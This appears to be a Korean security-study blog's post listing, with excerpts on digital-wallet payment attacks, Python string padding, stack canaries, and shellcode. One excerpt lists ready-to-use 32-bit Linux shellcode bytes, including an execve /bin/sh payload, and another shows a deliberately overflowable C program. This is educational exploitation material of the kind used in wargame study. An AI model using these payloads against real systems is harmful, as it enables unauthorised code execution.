목록전체 글 (71)
보안전문가로 향하는 길
Abstract디지털 지갑은 스마트 기기를 통한 비접촉 지불을 안전하고 편리한 방법을 제공하는 새로운 지불 기술 형식이다.이 논문의 연구는 인증, 권한부여, 엑세스 제어 보안 기능에 초점을 맞춰서 디지털 지갑을 통해 이루어지는 금용 보안을 연구한다.디지털 지불 생태계가 여러 공격받기 쉬운 분산된 권한 위임을 지원한다는걸 발견했다.우선 공격자는 지갑과 은행사이의 인증 방법 약정 절차를 악용해서 피해자의 은행카드를 그들의 지갑에 추가한다.둘째로 지갑과 은행간의 무조건의 신뢰를 악용해서 지불인증을 우회한다.셋째로 다양한 지불방법을 통해 트랩도어를 만들고 지불에 대한 엑세스 제어 정책을 위반한다.이러한 공격은 도난 신고와 잠금(결제 금지라던지)가 신고되었어도 공격자가 피해자의 카드로 임의의 금액을 마음대로 결제..
a.ljust(n)은 문자를 왼쪽으로 정렬하면서 n개의 칸을 가진다 a.rjust(n)는 문자를 오른쪽으로 정렬하면서 n개의 칸을 가진다 a.ljust(n,'A'): 문자를 왼쪽으로 정렬하면서 빈칸은 'A'로 채운다 a.rjust(n,'A'): 문자를 오른쪽으로 정렬하면서 빈칸은 'A'로 채운다
이번에는 스택 카라리에 대해서 알아보자 스택 카나리는 스택 버퍼와 return addr 사이에 있는 값으로 스택 카나리가 바뀐다면 스택 버퍼 오버 플로우가 발생한 것으로 확인하고 프로그램을 강제 종료시킨다. // Name: canary.c #include int main() { char buf[8]; read(0, buf, 32); return 0; } gcc -o no_canary canary.c -fno-stack-protector -fno-stack-protector 옵션을 줌으로 스택 까나리를 무효화 한다 gcc -o canary canary.c 까나리 영역을 침범하여 강제적으로 종료 되었다. 스택 까나리는 어디서 가져오는 것인가? gdb -q canary를 통해서 gdb로 프로그램을 실행시킨 후..
32bit shellcode 6 Bytes Shell Code \x31\xc0\xb0\x01\xcd\x80 25 Bytes Shell Code (기본 쉘코드) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회 쉘코드) scanf는 [\x09, \x0a, \x0b, \x0c, \x0d](탭혹은 커서 명령어), \x20(스페이스바)를 읽지 못한다. scanf는 빈칸을 입력 받을 때까지 입력을 받는다. 즉 빈칸은 취급하지 않는다. 따라서 위의 hex값들은 scanf에서 받아들이지 않는다\x31\xc0\x50\x68\x6e\x2f..
이번에는 셸 코드와 익스플로잇에 대해서 알아보자 셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 말한다. 먼저 ORW 셸 코드를 알아보도록 하자 orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다. 알아보고자 하는 셸 코드를 c언어로 작성하면 아래와 같은 코드이다 flag라는 파일을 읽기 모드로 열어서 화면에 출력하는 코드다. char buf[0x30]; int fd = open("/tmp/flag", RD_ONLY, NULL); read(fd, buf, 0x30); write(1, buf, 0x30); 위 코드를 어셈블리어로 만들어 보기 전에 알아야 할 사전지식이 있다.syscall에 대해서 알아야 한다. syscall은 커널에 접근하기 위한 인터페이스이다. ..